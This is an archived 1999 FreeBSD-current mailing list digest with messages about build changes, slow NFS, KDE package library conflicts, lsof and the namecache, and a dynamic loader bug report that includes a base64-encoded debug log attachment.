<99Oct28.090631est.40344@border.alcanet.com.au> Subject: Re: make buildworld problem... Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Peter Jeremy wrote: > > >(/me wonders how many MORE times we are going to have to say this because > >of the signal changes...) > > A very large number I suspect. > > IMHO, the correct solution is to for the entire make world process to > be re-worked. That's what I'm currently doing. If I have a stripped down make process ready for public viewing, I'll let you all know. A thread on the subject can be found in the -arch archives. -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 1:26: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 0580A15067 for ; Thu, 28 Oct 1999 01:25:29 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.8.7/8.8.7) with ESMTP id BAA19644 for ; Thu, 28 Oct 1999 01:25:16 -0700 Date: Thu, 28 Oct 1999 01:25:14 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: freebsd-current@freebsd.org Subject: really draggy NFS access in -current? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have the following setup for an alpha PC164 running a current -current (as in a kernel from the last day): farrago.feral.com > mount /dev/da0a on / (ufs, local, writes: sync 608 async 3306) procfs on /proc (procfs, local) mfs:30 on /tmp (mfs, asynchronous, local, writes: sync 2 async 7) bird:/export/home on /home (nfs) bird:/home/ncvs on /home/ncvs (nfs) bird:/space5/freebsd/FreeBSD-current/sys on /space/sys (nfs) bird:/space5/freebsd/FreeBSD-CVS on /cvs-src/FreeBSD-CVS (nfs) bird:/space5/freebsd/distfiles on /usr/ports/distfiles (nfs) /dev/da6a on /usr/obj (ufs, local, soft-updates, writes: sync 2 async 1) /dev/da5a on /usr/src (ufs, local, soft-updates, writes: sync 2 async 19415) Okay- I went home and left a cvs update going on /usr/src - reading from a local CVSUP repository NFS mounted on /home/ncvs. The server is a Sun SS1000 Solaris 2.6 box. 6 hours later, the cvs update is still chugging slowly along- top shows cvs as: PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND 275 mjacob 2 0 8704K 7616K sbwait 1:28 1.90% 1.90% cvs most of the time. Just to check that something wasn't broken for da5, I did a test dd writing to a file just now and it happily munched along at 4MB/s. The filesystem *is* a fat block fs: a: 4304896 0 4.2BSD 8192 32768 16 # (Cyl. 0 - 267*) I suppose the blockage could be at the ufs end... Anyone have a pointer as to what try to narrow this down- mainly to save me the trouble of actually thinking about it (got a lot else on mind)? Unacceptably bad something or others here..... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 2:27: 8 1999 Delivered-To: freebsd-current@freebsd.org Received: from oskar.dev.nanoteq.co.za (oskar.dev.nanoteq.co.za [196.7.114.5]) by hub.freebsd.org (Postfix) with ESMTP id 638B114ED3 for ; Thu, 28 Oct 1999 02:25:26 -0700 (PDT) (envelope-from rbezuide@oskar.dev.nanoteq.co.za) Received: (from rbezuide@localhost) by oskar.dev.nanoteq.co.za (8.9.3/8.9.0) id KAA15980 for freebsd-current@freebsd.org; Thu, 28 Oct 1999 10:08:50 +0200 (SAT) From: Reinier Bezuidenhout Message-Id: <199910280808.KAA15980@oskar.dev.nanoteq.co.za> Subject: KDE 1.1.2 package for current seems broken To: freebsd-current@freebsd.org Date: Thu, 28 Oct 1999 10:08:50 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ... Anyone tried to install the KDE 1.1.2 current package ?? I tried to install this and it would not startup, it complained about undefined symbols. I searched for these symbols and found them in libqt2.so.2 ... I installed this and tried to start KDE again, it then complained about symbols only found in libqt.so.2 (qt 1.42) The executables are only linked to libqt.so.2 (qt 1.42)... It seems that it is looking for both libraries which is wrong ?? Anyone got this working ?? Reinier To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 2:31:30 1999 Delivered-To: freebsd-current@freebsd.org Received: from oskar.dev.nanoteq.co.za (oskar.dev.nanoteq.co.za [196.7.114.5]) by hub.freebsd.org (Postfix) with ESMTP id E985614ED3 for ; Thu, 28 Oct 1999 02:30:57 -0700 (PDT) (envelope-from rbezuide@oskar.dev.nanoteq.co.za) Received: (from rbezuide@localhost) by oskar.dev.nanoteq.co.za (8.9.3/8.9.0) id LAA18471 for freebsd-current@freebsd.org; Thu, 28 Oct 1999 11:30:53 +0200 (SAT) From: Reinier Bezuidenhout Message-Id: <199910280930.LAA18471@oskar.dev.nanoteq.co.za> Subject: NOT! KDE 1.1.2 package for current seems broken To: freebsd-current@freebsd.org Date: Thu, 28 Oct 1999 11:30:53 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ... It seems that the qt-1.42 package of current is different than that of the 3.3. packages ... I just installed the current version of qt-1.42 and now kde 1.1.2 is working fine ... Reinier To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 4:28:41 1999 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (wandering-wizard.cybercity.dk [212.242.43.150]) by hub.freebsd.org (Postfix) with ESMTP id 9AAB514D74 for ; Thu, 28 Oct 1999 04:28:37 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id JAA00314; Thu, 28 Oct 1999 09:09:54 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Chuck Robey Cc: current@freebsd.org Subject: Re: lsof + namecache In-reply-to: Your message of "Wed, 27 Oct 1999 10:03:24 EDT." Date: Thu, 28 Oct 1999 09:09:54 +0200 Message-ID: <312.941094594@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Chuck Rob ey writes: >Lsof is broken. > >I already wrote Poul about it, but he hasn't seen my email yet, I guess. I've been busy, your email is sitting in my inbox somewhere, to be dealt with when I have time. >Does anyone know the direction this was going in, and what visibility the >namecache is intended to have? The namecache is intended to have no visibility from userland. The fact that lsof (with the aid of libkvm) abuses it doesn't change this fact. The lsof functionality should in my opinion be added to the system, and the necessary hooks should be added to the kernel using sysctl. As a short term fix, you can remove the "static", but take this as a first warning: the namecache implementation is NOT an API. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 5:51:10 1999 Delivered-To: freebsd-current@freebsd.org Received: from ipt2.iptelecom.net.ua (ipt2.iptelecom.net.ua [212.42.68.2]) by hub.freebsd.org (Postfix) with ESMTP id 6856A14D46 for ; Thu, 28 Oct 1999 05:50:44 -0700 (PDT) (envelope-from sobomax@altavista.net) Received: from vega.vega.com (dialup3-7.iptelecom.net.ua [212.42.74.135]) by ipt2.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id PAA10309 for ; Thu, 28 Oct 1999 15:53:07 +0300 (EEST) Received: from altavista.net (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.9.3/8.9.3) with ESMTP id PAA53540 for ; Thu, 28 Oct 1999 15:50:03 +0300 (EEST) (envelope-from sobomax@altavista.net) Message-ID: <3818467A.EA4DB1DE@altavista.net> Date: Thu, 28 Oct 1999 15:50:02 +0300 From: Maxim Sobolev Reply-To: sobomax@altavista.net Organization: Vega International Capital X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: current@freebsd.org Subject: ld-elf.so.1 weirdness Content-Type: multipart/mixed; boundary="------------B59DC1F7599F64499B94E92B" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------B59DC1F7599F64499B94E92B Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Hi there, For a quite awhile I'm observing strange problems with dynamic loader (ld-elf). On my -current system (last 'suped and compiled several hours ago) I often observed the following error message: /usr/libexec/ld-elf.so.1: /usr/bin/foobar: Shared object has no run-time symbol table where foobar can be virtually any dynamically linked binary. For a quite long time I searched for the way to reproduce this bug, and it seems that I've finally found how to do it. In most cases attempt to make any port on a freshly booted system stops with: /usr/libexec/ld-elf.so.1: /usr/bin/awk: Shared object has no run-time symbol table but when I'm trying to run make again with the same port it works flawlessly. I've compiled rtld-elf with -DDEBUG and produced two debugging logs of two subsequently attempts to run make for one of the ports and attaching it with this message. If any additional info/debugging will be necessary please do not hesitate to contact me. Sincerely, Maxim --------------B59DC1F7599F64499B94E92B Content-Type: application/octet-stream; name="ldlog.tar.bz2" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ldlog.tar.bz2" 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 